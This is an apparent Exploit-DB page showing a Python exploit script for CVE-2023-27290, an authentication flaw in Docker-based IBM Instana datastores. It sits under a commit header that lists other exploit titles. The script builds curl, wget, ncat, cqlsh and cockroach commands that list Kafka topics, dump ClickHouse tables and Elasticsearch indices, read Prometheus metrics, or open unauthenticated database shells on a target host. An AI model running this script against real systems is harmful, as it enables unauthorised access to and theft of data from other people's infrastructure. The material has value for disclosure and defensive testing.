99cef8d064
11 changes to exploits/shellcodes/ghdb Snitz Forum v1.0 - Blind SQL Injection Franklin Fueling Systems TS-550 - Exploit and Default Password Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing MAC 1200R - Directory Traversal Docker based datastores for IBM Instana 241-2 243-0 - No Authentication IBM Aspera Faspex 4.4.1 - YAML deserialization (RCE) ChurchCRM 4.5.1 - Authenticated SQL Injection NotrinosERP 0.7 - Authenticated Blind SQL Injection Rukovoditel 3.3.1 - Remote Code Execution (RCE) Wondershare Dr Fone 12.9.6 - Privilege Escalation
87 lines
No EOL
3.4 KiB
Python
Executable file
87 lines
No EOL
3.4 KiB
Python
Executable file
# Exploit Title: Docker based datastores for IBM Instana 241-2 243-0 - No Authentication
|
|
# Google Dork: [if applicable]
|
|
# Date: 06 March 2023
|
|
# Exploit Author: Shahid Parvez (zippon)
|
|
# Vendor Homepage: https://www.instana.com/trial/ *and* https://www.ibm.com/docs/en/instana-observability
|
|
# Software Link: https://www.ibm.com/docs/en/instana-observability/current?topic=premises-operations-docker-based-instana
|
|
# Version: [Vulnerable version : 239-0 to 239-2 241-0 to 241-2 243-0] (REQUIRED Version : 241-3)
|
|
# Tested on: [Mac os]
|
|
# CVE : CVE-2023-27290
|
|
import argparse
|
|
import subprocess
|
|
import pexpect
|
|
|
|
# Define the available options and their corresponding commands
|
|
COMMANDS = {
|
|
"kafka": "kafka-topics --bootstrap-server {host}:{port} --list --exclude-internal",
|
|
"cassandra": "/bin/bash -c 'cqlsh {host} {port} && exit'",
|
|
"clickhouse": 'curl --insecure "http://{host}:{port}/?query=SELECT%20*%20FROM%20system.tables"',
|
|
"cockroach": "cockroach sql --host {host}:{port} --insecure",
|
|
"zookeeper": "echo dump |ncat {host} {port}",
|
|
"node-export": "curl http://{host}:{port}",
|
|
"elasticsearch": "curl http://{host}:{port}/_cat/indices?v",
|
|
"prometheus": "curl http://{host}:{port}/metrics",
|
|
"clickhouse": 'wget -O system_tables.csv "http://{host}:{port}/?query=SELECT%20*%20FROM%20system.tables"'
|
|
}
|
|
|
|
# Define the parser for command-line arguments
|
|
parser = argparse.ArgumentParser(description="Script to run various commands on a host.")
|
|
parser.add_argument("host", help="The host IP address")
|
|
parser.add_argument("option", choices=COMMANDS.keys(), help="Select an option")
|
|
parser.add_argument("--port", type=int, default=None, help="The port number (default: use default port for the selected option)")
|
|
parser.add_argument("--output", help="Output the result to a file")
|
|
parser.add_argument("--verbose", action="store_true", help="Print the command line that was executed")
|
|
|
|
# Parse the command-line arguments
|
|
args = parser.parse_args()
|
|
|
|
# Determine the port number to use
|
|
if args.port is None:
|
|
if args.option == "cassandra":
|
|
port = "9042"
|
|
elif args.option == "clickhouse":
|
|
port = "8123"
|
|
elif args.option == "cockroach":
|
|
port = "26257"
|
|
elif args.option == "elasticsearch":
|
|
port = "9200"
|
|
elif args.option == "kafka":
|
|
port = "9092"
|
|
elif args.option == "node-export":
|
|
port = "8181"
|
|
elif args.option == "prometheus":
|
|
port = "9090"
|
|
elif args.option == "zookeeper":
|
|
port = "2181"
|
|
else:
|
|
port = str(args.port)
|
|
|
|
# Build the command to execute
|
|
command = COMMANDS[args.option].format(host=args.host, port=port)
|
|
|
|
# Print the command line if verbose option is provided
|
|
if args.verbose:
|
|
print(f"Executing command: {command}")
|
|
|
|
# If cassandra or cockroach option is selected, use pexpect to communicate inside the interactive shell
|
|
if args.option == "cassandra":
|
|
child = pexpect.spawn(command)
|
|
child.expect("Connected to.*", timeout=10)
|
|
child.interact()
|
|
output = child.before
|
|
elif args.option == "cockroach":
|
|
child = pexpect.spawn(command)
|
|
child.expect("root@.*:", timeout=10)
|
|
child.interact()
|
|
output = child.before
|
|
# If any other option is selected, execute the command and capture the output
|
|
else:
|
|
output = subprocess.check_output(command, shell=True)
|
|
|
|
# If an output file is provided, write the output to the file
|
|
if args.output:
|
|
with open(args.output, "wb") as f:
|
|
f.write(output)
|
|
|
|
# Print the output to the console
|
|
print(output.decode()) |